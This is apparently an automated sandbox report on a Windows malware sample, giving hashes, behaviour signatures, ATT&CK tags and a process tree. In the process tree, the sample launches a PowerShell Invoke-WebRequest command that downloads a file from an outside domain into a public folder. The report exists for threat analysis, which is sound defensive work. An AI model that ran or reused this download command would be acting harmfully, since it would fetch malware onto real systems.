5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555

General

Target

5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
Size

1.0MB
MD5

f9b0a0ed6eed1387ccd0922b08d3d923
SHA1

20549d8d3360b7508002b8a0d5ad64887aed25ca
SHA256

5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555
SHA512

581540a6246d8f9388766601a7a4a74a7f7810c2838fd01b3413e07140da860595872a68cfd25e1bf057ea4977fcc25abf6acd8183fdba81f3e496efc07e2a7e
SSDEEP

24576:lrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9TvatZ+:l2EYTb8atv1orq+pEiSDTj1VyvBats

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	4836	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4836	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4836	powershell.exe
4836	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4836	powershell.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe

Suspicious use of SendNotifyMessage 33 IoCs

pid	Process
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4980 wrote to memory of 4836	4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe	85
PID 4980 wrote to memory of 4836	4980	5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe	85

C:\Users\Admin\AppData\Local\Temp\5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe
"C:\Users\Admin\AppData\Local\Temp\5f208a8faab1460c0243e850fa6bec28a15bb1fa9a63b8611b0c42b1ef0a9555.exe"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri "https://gotexindigos.com/v-nom/fqJXN" -OutFile "C:\Users\Public\Guard.exe""
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h0apcjk1.bd1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4836-0-0x00007FF976223000-0x00007FF976225000-memory.dmp

Filesize
8KB

Download
memory/4836-1-0x000001B1C02C0000-0x000001B1C02E2000-memory.dmp

Filesize
136KB

Download
memory/4836-11-0x00007FF976220000-0x00007FF976CE1000-memory.dmp

Filesize
10.8MB

Download
memory/4836-12-0x00007FF976223000-0x00007FF976225000-memory.dmp

Filesize
8KB

Download
memory/4836-13-0x00007FF976220000-0x00007FF976CE1000-memory.dmp

Filesize
10.8MB

Download
memory/4836-14-0x00007FF976220000-0x00007FF976CE1000-memory.dmp

Filesize
10.8MB

Download
memory/4836-17-0x00007FF976220000-0x00007FF976CE1000-memory.dmp

Filesize
10.8MB

Download
memory/4836-18-0x00007FF976220000-0x00007FF976CE1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing